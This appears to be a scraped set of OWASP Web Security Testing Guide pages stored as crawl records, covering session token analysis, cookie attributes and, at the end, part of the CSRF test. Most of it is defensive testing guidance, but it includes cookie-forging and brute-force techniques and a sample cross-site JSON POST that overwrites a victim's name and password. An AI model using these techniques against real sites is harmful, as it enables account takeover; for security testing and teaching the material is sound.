[User Authentication with OAuth 2.0](https://oauth.net/articles/authentication/)\n- [The OAuth 2.0 Authorization Framework](https://datatracker.ietf.org/doc/html/rfc6749)\n- [The OAuth 2.0 Authorization Framework: Bearer Token Usage](https://datatracker.ietf.org/doc/html/rfc6750)\n- [OAuth 2.0 Threat Model and Security Considerations](https://datatracker.ietf.org/doc/html/rfc6819)\n- [OAuth 2.0 Security Best Current Practice](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-16)\n- [Authorization Code Flow with Proof Key for Code Exchange](https://auth0.com/docs/authorization/flows/authorization-code-flow-with-proof-key-for-code-exchange-pkce)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5798, "slov": 763, "odkazu": 209, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:39", "sha256": "4cd70642856c6d8f3aa2ea733295268302d02cc53eaae6fe2471385c21d70110", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://portswigger.net/burp/releases", "https://github.com/portswigger/espresso", "https://www.zaproxy.org/", "https://oauth.net/articles/authentication/", "https://datatracker.ietf.org/doc/html/rfc6749", "https://datatracker.ietf.org/doc/html/rfc6750", "https://datatracker.ietf.org/doc/html/rfc6819", "https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-16", "https://auth0.com/docs/authorization/flows/authorization-code-flow-with-proof-key-for-code-exchange-pkce", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/README", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "05-Authorization"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "4.5 Authorization"}], "markdown": "# WSTG - Latest\n\n# 4.5 Authorization\n\n4.5.1 [Directory Traversal File Include](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/01-Directory_Traversal_File_Include)\n\n4.5.2 [Bypassing Authorization Schema](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/02-Bypassing_Authorization_Schema)\n\n4.5.3 [Privilege Escalation](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/03-Privilege_Escalation)\n\n4.5.4 [Insecure Direct Object References](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/04-Insecure_Direct_Object_References)\n\n4.5.5 [OAuth Weaknesses](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05-OAuth_Weaknesses)\n\n4.5.5.1 [OAuth Authorization Server Weaknesses](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05.1-OAuth_Authorization_Server_Weaknesses)\n\n4.5.5.2 [OAuth Client Weaknesses](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization/05.2-OAuth_Client_Weaknesses)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1303, "slov": 91, "odkazu": 200, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:32", "sha256": "f538c5dabe0baf91b0ac3cc0bb31a482a239b3c308beb635c153593c24e9d595", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/01-Session_Management_Schema", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/01-Session_Management_Schema", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/01-Session_Management_Schema", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "06-Session Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Session Management Schema"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing and Examples"}, {"uroven": 4, "text": "Session Analysis"}, {"uroven": 4, "text": "Session ID Predictability and Randomness"}, {"uroven": 4, "text": "Brute Force Attacks"}, {"uroven": 3, "text": "Gray-Box Testing and Example"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# Session Management Schema\n\n| ID |\n| --- |\n| WSTG-SESS-01 |\n\n## Summary\n\nOne of the core components of any web-based application is the mechanism by which it controls and maintains the state for a user interacting with it. To avoid continuous authentication for each page of a site or service, web applications implement various mechanisms to store and validate credentials for a pre-determined timespan. These mechanisms are known as Session Management.\n\nIn this test, the tester wants to check that cookies and other session tokens are created in a secure and unpredictable way. An attacker who is able to predict and forge a weak cookie can easily hijack the sessions of legitimate users.\n\nCookies are used to implement session management and are described in detail in RFC 2965. In a nutshell, when a user accesses an application which needs to keep track of the actions and identity of that user across multiple requests, a cookie (or cookies) is generated by the server and sent to the client. The client will then send the cookie back to the server in all following connections until the cookie expires or is destroyed. The data stored in the cookie can provide to the server a large spectrum of information about who the user is, what actions he has performed so far, what his preferences are, etc. therefore providing a state to a stateless protocol like HTTP.\n\nA typical example is provided by an online shopping cart. Throughout the session of a user, the application must keep track of his identity, his profile, the products that he has chosen to buy, the quantity, the individual prices, the discounts, etc. Cookies are an efficient way to store and pass this information back and forth (other methods are URL parameters and hidden fields).\n\nDue to the importance of the data that they store, cookies are therefore vital in the overall security of the application. Being able to tamper with cookies may result in hijacking the sessions of legitimate users, gaining higher privileges in an active session, and in general influencing the operations of the application in an unauthorized way.\n\nIn this test the tester has to check whether the cookies issued to clients can resist a wide range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a cookie that will be considered valid by the application and that will provide some kind of unauthorized access (session hijacking, privilege escalation, …).\n\nUsually the main steps of the attack pattern are the following:\n\n- **cookie collection** : collection of a sufficient number of cookie samples;\n- **cookie reverse engineering** : analysis of the cookie generation algorithm;\n- **cookie manipulation** : forging of a valid cookie in order to perform the attack. This last step might require a large number of attempts, depending on how the cookie is created (cookie brute-force attack).\n\nAnother pattern of attack consists of overflowing a cookie. Strictly speaking, this attack has a different nature, since here testers are not trying to recreate a perfectly valid cookie. Instead, the goal is to overflow a memory area, thereby interfering with the correct behavior of the application and possibly injecting (and remotely executing) malicious code.\n\n## Test Objectives\n\n- Gather session tokens, for the same user and for different users where possible.\n- Analyze and ensure that enough randomness exists to stop session forging attacks.\n- Modify cookies that are not signed and contain information that can be manipulated.\n\n## How to Test\n\n### Black-Box Testing and Examples\n\nAll interaction between the client and application should be tested at least against the following criteria:\n\n- Are all `Set-Cookie` directives tagged as `Secure` ?\n- Do any Cookie operations take place over unencrypted transport?\n- Can the Cookie be forced over unencrypted transport?\n- If so, how does the application maintain security?\n- Are any Cookies persistent?\n- What `Expires` times are used on persistent cookies, and are they reasonable?\n- Are cookies that are expected to be transient configured as such?\n- What HTTP/1.1 `Cache-Control` settings are used to protect Cookies?\n- What HTTP/1.0 `Cache-Control` settings are used to protect Cookies?\n\nThe first step required to manipulate the cookie is to understand how the application creates and manages cookies. For this task, testers have to try to answer the following questions:\n\n- How many cookies are used by the application? Surf the application. Note when cookies are created. Make a list of received cookies, the page that sets them (with the set-cookie directive), the domain for which they are valid, their value, and their characteristics.\n- Which parts of the application generate or modify the cookie? Surfing the application, find which cookies remain constant and which get modified. What events modify the cookie?\n- Which parts of the application require this cookie in order to be accessed and utilized? Find out which parts of the application need a cookie. Access a page, then try again without the cookie, or with a modified value of it. Try to map which cookies are used where.\n\nA spreadsheet mapping each cookie to the corresponding application parts and the related information can be a valuable output of this phase.\n\n#### Session Analysis\n\nThe session tokens (Cookie, SessionID or Hidden Field) themselves should be examined to ensure their quality from a security perspective. They should be tested against criteria such as their randomness, uniqueness, resistance to statistical and cryptographic analysis and information leakage.\n\n- Token Structure & Information Leakage\n\nThe first stage is to examine the structure and content of a Session ID provided by the application. A common mistake is to include specific data in the Token instead of issuing a generic value and referencing real data server-side.\n\nIf the Session ID is clear-text, the structure and pertinent data may be immediately obvious such as `192.168.100.1:owaspuser:password:15:58`.\n\nIf part or the entire token appears to be encoded or hashed, it should be compared to various techniques to check for obvious obfuscation. For example the string `192.168.100.1:owaspuser:password:15:58` is represented in hex, base64, and as an MD5 hash:\n\n- Hex: `3139322E3136382E3130302E313A6F77617370757365723A70617373776F72643A31353A3538`\n- Base64: `MTkyLjE2OC4xMDAuMTpvd2FzcHVzZXI6cGFzc3dvcmQ6MTU6NTg=`\n- MD5: `01c2fc4f0a817afd8366689bd29dd40a`\n\nHaving identified the type of obfuscation, it may be possible to decode back to the original data. In most cases, however, this is unlikely. Even so, it may be useful to enumerate the encoding in place from the format of the message. Furthermore, if both the format and obfuscation technique can be deduced, automated brute-force attacks could be devised.\n\nHybrid tokens may include information such as IP address or User ID together with an encoded portion, such as `owaspuser:192.168.100.1:a7656fafe94dae72b1e1487670148412`.\n\nHaving analyzed a single session token, the representative sample should be examined. A simple analysis of the tokens should immediately reveal any obvious patterns. For example, a 32 bit token may include 16 bits of static data and 16 bits of variable data. This may indicate that the first 16 bits represent a fixed attribute of the user – e.g. the username or IP address. If the second 16 bit chunk is incrementing at a regular rate, it may indicate a sequential or even time-based element to the token generation. See examples.\n\nIf static elements to the Tokens are identified, further samples should be gathered, varying one potential input element at a time. For example, log in attempts through a different user account or from a different IP address may yield a variance in the previously static portion of the session token.\n\nThe following areas should be addressed during the single and multiple Session ID structure testing:\n\n- What parts of the Session ID are static?\n- What clear-text confidential information is stored in the Session ID? E.g. usernames/UID, IP addresses\n- What easily decoded confidential information is stored?\n- What information can be deduced from the structure of the Session ID?\n- What portions of the Session ID are static for the same log in conditions?\n- What obvious patterns are present in the Session ID as a whole, or individual portions?\n\n#### Session ID Predictability and Randomness\n\nAnalysis of the variable areas (if any) of the Session ID should be undertaken to establish the existence of any recognizable or predictable patterns. These analyses may be performed manually and with bespoke or OTS statistical or cryptanalytic tools to deduce any patterns in the Session ID content. Manual checks should include comparisons of Session IDs issued for the same login conditions – e.g., the same username, password, and IP address.\n\nTime is an important factor which must also be controlled. High numbers of simultaneous connections should be made in order to gather samples in the same time window and keep that variable constant. Even a quantization of 50ms or less may be too coarse and a sample taken in this way may reveal time-based components that would otherwise be missed.\n\nVariable elements should be analyzed over time to determine whether they are incremental in nature. Where they are incremental, patterns relating to absolute or elapsed time should be investigated. Many systems use time as a seed for their pseudo-random elements. Where the patterns are seemingly random, one-way hashes of time or other environmental variations should be considered as a possibility. Typically, the result of a cryptographic hash is a decimal or hexadecimal number so should be identifiable.\n\nIn analyzing Session ID sequences, patterns or cycles, static elements and client dependencies should all be considered as possible contributing elements to the structure and function of the application.\n\n- Are the Session IDs provably random in nature? Can the resulting values be reproduced?\n- Do the same input conditions produce the same ID on a subsequent run?\n- Are the Session IDs provably resistant to statistical or cryptanalysis?\n- What elements of the Session IDs are time-linked?\n- What portions of the Session IDs are predictable?\n- Can the next ID be deduced, given full knowledge of the generation algorithm and previous IDs?\n\nNow that the tester has enumerated the cookies and has a general idea of their use, it is time to have a deeper look at cookies that seem interesting. Which cookies is the tester interested in? A cookie, in order to provide a secure method of session management, must combine several characteristics, each of which is aimed at protecting the cookie from a different class of attacks.\n\nThese characteristics are summarized below:\n\n1. Unpredictability: a cookie must contain some amount of hard-to-guess data. The harder it is to forge a valid cookie, the harder is to break into legitimate user’s session. If an attacker can guess the cookie used in an active session of a legitimate user, they will be able to fully impersonate that user (session hijacking). In order to make a cookie unpredictable, random values or cryptography can be used.\n2. Tamper resistance: a cookie must resist malicious attempts of modification. If the tester receives a cookie like `IsAdmin=No` , it is trivial to modify it to get administrative rights, unless the application performs a double check (for instance, appending to the cookie an encrypted hash of its value)\n3. Expiration: a critical cookie must be valid only for an appropriate period of time and must be deleted from the disk or memory afterwards to avoid the risk of being replayed. This does not apply to cookies that store non-critical data that needs to be remembered across sessions (e.g., site look-and-feel).\n4. `Secure` flag: a cookie whose value is critical for the integrity of the session should have this flag enabled in order to allow its transmission only in an encrypted channel to deter eavesdropping.\n\nThe approach here is to collect a sufficient number of instances of a cookie and start looking for patterns in their value. The exact meaning of “sufficient” can vary from a handful of samples, if the cookie generation method is very easy to break, to several thousands, if the tester needs to proceed with some mathematical analysis (e.g., chi-squares, attractors. See later for more information).\n\nIt is important to pay particular attention to the workflow of the application, as the state of a session can have a heavy impact on collected cookies. A cookie collected before being authenticated can be very different from a cookie obtained after the authentication.\n\nAnother aspect to keep into consideration is time. Always record the exact time when a cookie has been obtained, when there is the possibility that time plays a role in the value of the cookie (the server could use a timestamp as part of the cookie value). The time recorded could be the local time or the server’s timestamp included in the HTTP response (or both).\n\nWhen analyzing the collected values, the tester should try to figure out all variables that could have influenced the cookie value and try to vary them one at the time. Passing to the server modified versions of the same cookie can be very helpful in understanding how the application reads and processes the cookie.\n\nExamples of checks to be performed at this stage include:\n\n- What character set is used in the cookie? Has the cookie a numeric value? alphanumeric? hexadecimal? What happens if the tester inserts in a cookie characters that do not belong to the expected charset?\n- Is the cookie composed of different sub-parts carrying different pieces of information? How are the different parts separated? With which delimiters? Some parts of the cookie could have a higher variance, others might be constant, others could assume only a limited set of values. Breaking down the cookie to its base components is the first and fundamental step.\n\nAn example of an easy-to-spot structured cookie is the following:\n\n```\nID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q\n```\n\nThis example shows 5 different fields, carrying different types of data:\n\n- ID – hexadecimal\n- CR – small integer\n- TM and LM – large integer. (And curiously they hold the same value. Worth to see what happens modifying one of them)\n- S – alphanumeric\n\nEven when no delimiters are used, having enough samples can help understand the structure.\n\n#### Brute Force Attacks\n\nBrute force attacks inevitably lead on from questions relating to predictability and randomness. The variance within the Session IDs must be considered together with application session duration and timeouts. If the variation within the Session IDs is relatively small, and Session ID validity is long, the likelihood of a successful brute-force attack is much higher.\n\nA long Session ID (or rather one with a great deal of variance) and a shorter validity period would make it far harder to succeed in a brute force attack.\n\n- How long would a brute-force attack on all possible Session IDs take?\n- Is the Session ID space large enough to prevent brute forcing? For example, is the length of the key sufficient when compared to the valid life-span?\n- Do delays between connection attempts with different Session IDs mitigate the risk of this attack?\n\n### Gray-Box Testing and Example\n\nIf the tester has access to the session management schema implementation, they can check for the following:\n\n- Random Session Token The Session ID or Cookie issued to the client should not be easily predictable (don’t use linear algorithms based on predictable variables such as the client IP address). The use of cryptographic algorithms with key length of 256 bits is encouraged (like AES).\n- Token length Session ID will be at least 50 characters length.\n- Session Time-out Session token should have a defined time-out (it depends on the criticality of the application managed data)\n- Cookie configuration:\n - non-persistent: only RAM memory\n - secure (set only on HTTPS channel): `Set-Cookie: cookie=data; path=/; domain=.aaa.it; secure`\n - [HTTPOnly](https://owasp.org/www-community/HttpOnly) (not readable by a script): `Set-Cookie: cookie=data; path=/; domain=.aaa.it; HttpOnly`\n\nMore information here: [cookies attributes](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/02-Cookies_Attributes)\n\n## Tools\n\n- [Zed Attack Proxy Project (ZAP)](https://www.zaproxy.org) - features a session token analysis mechanism.\n- [Burp Sequencer](https://portswigger.net/burp/documentation/desktop/tools/sequencer)\n- [YEHG’s JHijack](https://github.com/yehgdotnet/JHijack)\n\n## References\n\n### Whitepapers\n\n- [RFC 2965 “HTTP State Management Mechanism”](https://tools.ietf.org/html/rfc2965)\n- [RFC 1750 “Randomness Recommendations for Security”](https://www.ietf.org/rfc/rfc1750.txt)\n- [Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis” (2001)](https://lcamtuf.coredump.cx/oldtcp/tcpseq.html)\n- [Michal Zalewski: “Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later” (2002)](https://lcamtuf.coredump.cx/newtcp/)\n- [Correlation Coefficient](https://mathworld.wolfram.com/CorrelationCoefficient.html)\n- [ENT](https://fourmilab.ch/random/)\n- [DMA 2005-0614a - Global Hauri ViRobot Server cookie overflow](https://seclists.org/lists/fulldisclosure/2005/Jun/0188.html)\n- [OWASP Code Review Guide](https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 17519, "slov": 2682, "odkazu": 212, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:41", "sha256": "ff8bd8e3d7f6dd2c1237902c42dc19f92365458a6ce9daa80c969a6cb304f9cf", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.zaproxy.org/", "https://portswigger.net/burp/documentation/desktop/tools/sequencer", "https://github.com/yehgdotnet/JHijack", "https://tools.ietf.org/html/rfc2965", "https://www.ietf.org/rfc/rfc1750.txt", "https://lcamtuf.coredump.cx/oldtcp/tcpseq.html", "https://lcamtuf.coredump.cx/newtcp/", "https://mathworld.wolfram.com/CorrelationCoefficient.html", "https://fourmilab.ch/random/", "https://seclists.org/lists/fulldisclosure/2005/Jun/0188.html", "https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/02-Cookies_Attributes", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/02-Cookies_Attributes", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/02-Cookies_Attributes", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "06-Session Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Cookies Attributes"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 4, "text": "Secure Attribute"}, {"uroven": 4, "text": "HttpOnly Attribute"}, {"uroven": 4, "text": "Domain Attribute"}, {"uroven": 4, "text": "Path Attribute"}, {"uroven": 4, "text": "Expires Attribute"}, {"uroven": 4, "text": "SameSite Attribute"}, {"uroven": 5, "text": "Strict Value"}, {"uroven": 5, "text": "Lax Value"}, {"uroven": 5, "text": "None Value"}, {"uroven": 4, "text": "Host Prefix"}, {"uroven": 4, "text": "Secure Prefix"}, {"uroven": 3, "text": "Strong Practices"}, {"uroven": 2, "text": "Tools"}, {"uroven": 3, "text": "Intercepting Proxy"}, {"uroven": 3, "text": "Browser Plug-in"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Cookies Attributes\n\n| ID |\n| --- |\n| WSTG-SESS-02 |\n\n## Summary\n\nWeb Cookies (herein referred to as cookies) are often a key attack vector for malicious users (typically targeting other users) and the application should always take due diligence to protect cookies.\n\nHTTP is a stateless protocol, meaning that it doesn’t hold any reference to requests being sent by the same user. In order to fix this issue, sessions were created and appended to HTTP requests. Browsers, as discussed in [testing browser storage](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side/12-Browser_Storage), contain a multitude of storage mechanisms. In that section of the guide, each is discussed thoroughly.\n\nThe most used session storage mechanism in browsers is cookie storage. Cookies can be set by the server, by including a [`Set-Cookie`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie) header in the HTTP response or via JavaScript. Cookies can be used for a multitude of reasons, such as:\n\n- session management\n- personalization\n- tracking\n\nIn order to secure cookie data, the industry has developed means to help lock down these cookies and limit their attack surface. Over time cookies have become a preferred storage mechanism for web applications, as they allow great flexibility in use and protection.\n\nThe means to protect the cookies are:\n\n- [Cookie Attributes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Creating_cookies)\n- [Cookie Prefixes](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Cookie_prefixes)\n\n## Test Objectives\n\n- Ensure that the proper security configuration is set for cookies.\n\n## How to Test\n\nBelow, a description of every attribute and prefix will be discussed. The tester should validate that they are being used properly by the application. Cookies can be reviewed by using an intercepting proxy, or by reviewing the browser’s cookie jar.\n\n#### Secure Attribute\n\nThe [`Secure`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#Secure) attribute tells the browser to only send the cookie if the request is being sent over a secure channel such as `HTTPS`. This will help protect the cookie from being passed in unencrypted requests. If the application can be accessed over both `HTTP` and `HTTPS`, an attacker could be able to redirect the user to send their cookie as part of non-protected requests.\n\n#### HttpOnly Attribute\n\nThe [`HttpOnly`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie#HttpOnly) attribute is used to help prevent attacks such as session leakage, since it does not allow the cookie to be accessed via a client-side script such as JavaScript.\n\n> This doesn’t limit the whole attack surface of XSS attacks, as an attacker could still send request in place of the user, but limits immensely the reach of XSS attack vectors.\n\n#### Domain Attribute\n\nThe [`Domain`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies) attribute is used to compare the cookie’s domain against the domain of the server for which the HTTP request is being made. If the domain matches or if it is a subdomain, then the `path` attribute will be checked next.\n\nOnly hosts that belong to the specified domain can set a cookie for that domain. Additionally, the `domain` attribute cannot be a top level domain (such as `.gov` or `.com`) to prevent servers from setting arbitrary cookies for another domain (such as setting a cookie for `owasp.org`). If the domain attribute is not set, then the hostname of the server that generated the cookie is used as the default value of the `domain`.\n\nFor example, if a cookie is set by an application at `app.mydomain.com` with no domain attribute set, then the cookie would be resubmitted for all subsequent requests for `app.mydomain.com`, but not its subdomains (such as `hacker.app.mydomain.com`), or to `otherapp.mydomain.com`. (However, older versions of Edge/IE behave differently, and *do* send these cookies to subdomains.) If a developer wanted to loosen this restriction, then they could set the `domain` attribute to `mydomain.com`. In this case the cookie would be sent to all requests for `app.mydomain.com` and `mydomain.com` subdomains, such as `hacker.app.mydomain.com`, and even `bank.mydomain.com`. If there was a vulnerable server on a subdomain (for example, `otherapp.mydomain.com`) and the `domain` attribute has been set too loosely (for example, `mydomain.com`), then the vulnerable server could be used to harvest cookies (such as session tokens) across the full scope of `mydomain.com`.\n\n#### Path Attribute\n\nThe [`Path`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Scope_of_cookies) attribute plays a major role in setting the scope of the cookies in conjunction with the `domain`. In addition to the domain, the URL path that the cookie is valid for can be specified. If the domain and path match, then the cookie will be sent in the request. Just as with the domain attribute, if the path attribute is set too loosely, then it could leave the application vulnerable to attacks by other applications on the same server. For example, if the path attribute was set to the web server root `/`, then the application cookies will be sent to every application within the same domain (if multiple application reside under the same server). A couple of examples for multiple applications under the same server:\n\n- `path=/bank`\n- `path=/private`\n- `path=/docs`\n- `path=/docs/admin`\n\n#### Expires Attribute\n\nThe [`Expires`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Permanent_cookies) attribute is used to:\n\n- set persistent cookies\n- limit lifespan if a session lives for too long\n- remove a cookie forcefully by setting it to a past date\n\nUnlike [session cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Session_cookies), persistent cookies will be used by the browser until the cookie expires. Once the expiration date has exceeded the time set, the browser will delete the cookie.\n\n#### SameSite Attribute\n\nThe [`SameSite`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies) attribute can be used to assert whether a cookie should be sent along with cross-site requests. This feature allows the server to mitigate the risk of cross-origin information leakage. In some cases, it is used too as a risk reduction (or defense in depth mechanism) strategy to prevent [cross-site request forgery](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/05-Cross_Site_Request_Forgery) attacks. This attribute can be configured in three different modes:\n\n- `Strict`\n- `Lax`\n- `None`\n\n##### Strict Value\n\nThe `Strict` value is the most restrictive usage of `SameSite`, allowing the browser to send the cookie only to first-party context without top-level navigation. In other words, the data associated with the cookie will only be sent on requests matching the current site shown on the browser URL bar. The cookie will not be sent on requests generated by third-party sites. This value is especially recommended for actions performed at the same domain. However, it can have some limitations with some session management systems negatively affecting the user navigation experience. Since the browser would not send the cookie on any requests generated from a third-party domain or email, the user would be required to sign in again even if they already have an authenticated session.\n\n##### Lax Value\n\nThe `Lax` value is less restrictive than `Strict`. It allows the cookie to be sent on cross-site *top-level navigations* that use a “safe” HTTP method (in practice, `GET`) - for example, when a user follows a link from another site. It does **not** send the cookie on cross-site *subresource* requests, such as those triggered by ``, ` \n```\n\nThe POST request will be as follow:\n\n```\nPOST / HTTP/1.1 Host: victimsite.com Content-Type: text/plain\n\n{\"name\":\"hacked\",\"password\":\"hacked\",\"padding\":\"=something\"}\n```\n\nWhen this data is sent as a POST request, the server will happily accept the name and password fields and ignore the one with the name padding as it does not need it.\n\n## Remediation\n\n- See the [OWASP CSRF Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html) for prevention measures.\n\n## Tools\n\n- [ZAP](https://www.zaproxy.org/)\n- [CSRF Tester](https://wiki.owasp.org/index.php/Category:OWASP_CSRFTester_Project)\n- [Pinata-csrf-tool](https://code.google.com/archive/p/pinata-csrf-tool/)\n\n## References\n\n- [Peter W: “Cross-Site Request Forgeries”](https://web.archive.org/web/20160303230910/http://www.tux.org/~peterw/csrf.txt)\n- [Thomas Schreiber: “Session Riding”](https://web.archive.org/web/20160304001446/https://www.securenet.de/papers/Session_Riding.pdf)\n- [Oldest known post](https://web.archive.org/web/20000622042229/https://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan)\n- [Cross-site Request Forgery FAQ](https://www.cgisecurity.com/csrf-faq.html)\n- [A Most-Neglected Fact About Cross Site Request Forgery (CSRF)](https://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf)\n- [Multi-POST CSRF](https://www.lanmaster53.com/2013/07/17/multi-post-csrf/)\n- [SANS Pen Test Webcast: Complete Application pwnage via Multi POST XSRF](https://www.youtube.com/watch?v=EOs5PZiiwug)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 14325, "slov": 2069, "odkazu": 214, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:45", "sha256": "315f77999035f477e7115bc1d436f71aede6a9116605d068973b93b9fd74aaee", "hloubka": 2, "zdroj_objevu": "odkaz", 